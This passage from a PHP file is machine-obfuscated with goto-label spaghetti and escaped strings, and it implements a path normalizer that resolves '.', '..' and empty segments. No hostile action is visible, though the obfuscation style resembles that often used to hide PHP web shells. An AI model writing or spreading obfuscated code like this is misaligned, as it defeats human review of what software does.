> 0)) { goto vGS7_; } goto GkYBA; Czryg: $VLMCB = str_replace("\134", "\57", $VLMCB); goto yxc75; Z8Hbc: EPj4J: goto p3rPH; g6lW6: goto D2nkt; goto hCztD; FK5nA: $pTb54--; goto IHu5f; lEBbM: cnq3A: goto H06Xt; qXSzo: hCnDy: goto YpPkV; p2j2h: N8J4L: goto LFr6g; gsSyo: $IPJhV = count($GfFS8) - 1; goto sAYkY; apKu6: goto Gyi4K; goto fxdHi; U7kt2: if ($pTb54 >= 0) { goto GOcwq; } goto RTjLt; YDpqv: AQP5i: goto FK5nA; uAJgB: goto fYBGC; goto Z8Hbc; MYueP: goto bbKEb; goto oj5L2; tJavR: goto TD6Yj; goto nCTFh; FZG7t: return $kSmbA; goto tJavR; ZWbUJ: $pTb54 = $IPJhV; goto ItNZ7; cYyGj: RjUQq: goto VYbqT; lVKNL: PtRr3: goto k3djv; vdtlR: p1mVK: goto efYYx; mFZ2i: YsG4e: goto Czryg; Aplw2: goto AQP5i; goto hCzKi; o0GTs: goto EPj4J; goto oUES6; liyVs: goto u_U71; goto SMdvr; Mfgr_: y1DhM: goto FXjhT; HfyLv: LVgaE: goto liyVs; YWzKG: goto PtRr3; goto I8Hh8; pxjae: FYjax: goto U7kt2; Pv9vH: PyVRB: goto Nm25E; bRo4W: goto vAJcl; goto hm3NZ; oUES6: gKZuJ: goto IXi7W; pOazS: fYBGC: goto V70mV; p3rPH: goto S1ZJv; goto WlLSo; VYbqT: S1ZJv: goto JqbOc; hm3NZ: WEg_q: goto daSFs; PuwDO: vGS7_: goto YWzKG; aaa0O: goto HVw1r; goto lEBbM; U8w10: SnDyI: goto bRo4W; oj5L2: bbKEb: goto gsSyo; jibs0: goto ksW8f; goto p2j2h; hCztD: vAJcl: goto Pt2bb; IXi7W: $GfFS8 = explode("\x2f", $VLMCB); goto MYueP; UoELa: goto SnDyI; goto PZfCz; boE03: goto WEg_q; goto dKPti; Y6Lry: azkt9: goto LR0p3; k3djv: $kSmbA = ''; goto jibs0; hCzKi: Gyi4K: goto FZG7t; RVjAr: goto cnq3A; goto pxjae; pS18I: goto FYjax; goto lVKNL; nBpd3: goto aHf9i; goto uxdYl; fxdHi: KNHJa: goto kr748; LR0p3: goto ngldE; goto H5PEi; Lsf2q: ngldE: goto pS18I; efYYx: goto N8J4L; goto ewExl; rZI2Y: if (!($GfFS8[$pTb54] == "\x2e\x2e")) { goto LVgaE; } goto E86NP; V70mV: ZORTN: goto ekIPA; JqbOc: goto KNHJa; goto t0GBb; H5PEi: goto R0uNw; goto NsZ_L; OtfzZ: goto wS50G; goto pOazS; I8Hh8: D2nkt: goto rZI2Y; t0GBb: Cf6Ms: goto ZWbUJ; PZfCz: i0nUT: goto g6lW6; YpPkV: if (!($GfFS8[$pTb54] == "\x2e")) { goto i0nUT; } goto UoELa; WIEUP: RWerK: goto aaa0O; kr748: KPkhO: goto Aplw2; leLq5: $pTb54--; goto RVjAr; j5rVL: HAHzg: goto AaAbi; uxdYl: R0uNw: goto j5rVL; IHu5f: goto azkt9; goto dJEIC; nCTFh: u_U71: goto t3dya; FXjhT: goto YsG4e; goto Pv9vH; miTH7: TD6Yj: goto xqjkZ; SMdvr: aHf9i: goto WIEUP; AaAbi: goto PyVRB; goto Y6Lry; dJEIC: wS50G: goto Mfgr_; RSBIw: GOcwq: goto CFuDL; E86NP: goto RWerK; goto HfyLv; CFuDL: goto hCnDy; goto YDpqv; H06Xt: goto S1ZJv; goto uAJgB; t3dya: if (!($GfFS8[$pTb54] == '' and $pTb54 != $IPJhV and $pTb54 != 0)) { goto p1mVK; } goto PaSfu; oWG1C: goto R0lFu; goto OtfzZ; sAYkY: goto Cf6Ms; goto mFZ2i; ekIPA: goto RjUQq; goto qXSzo; WlLSo: goto vDCgP; goto cYyGj; yxc75: goto gKZuJ; goto ZT4MG; dKPti: rg3RY: goto Lsf2q; LFr6g: $kSmbA = $GfFS8[$pTb54] . ($pTb54 != $IPJhV ? "\x2f" . $kSmbA : ''); goto o0GTs; GkYBA: goto y1DhM; goto PuwDO; PaSfu: goto ZORTN; goto vdtlR; xqjkZ: } } ?>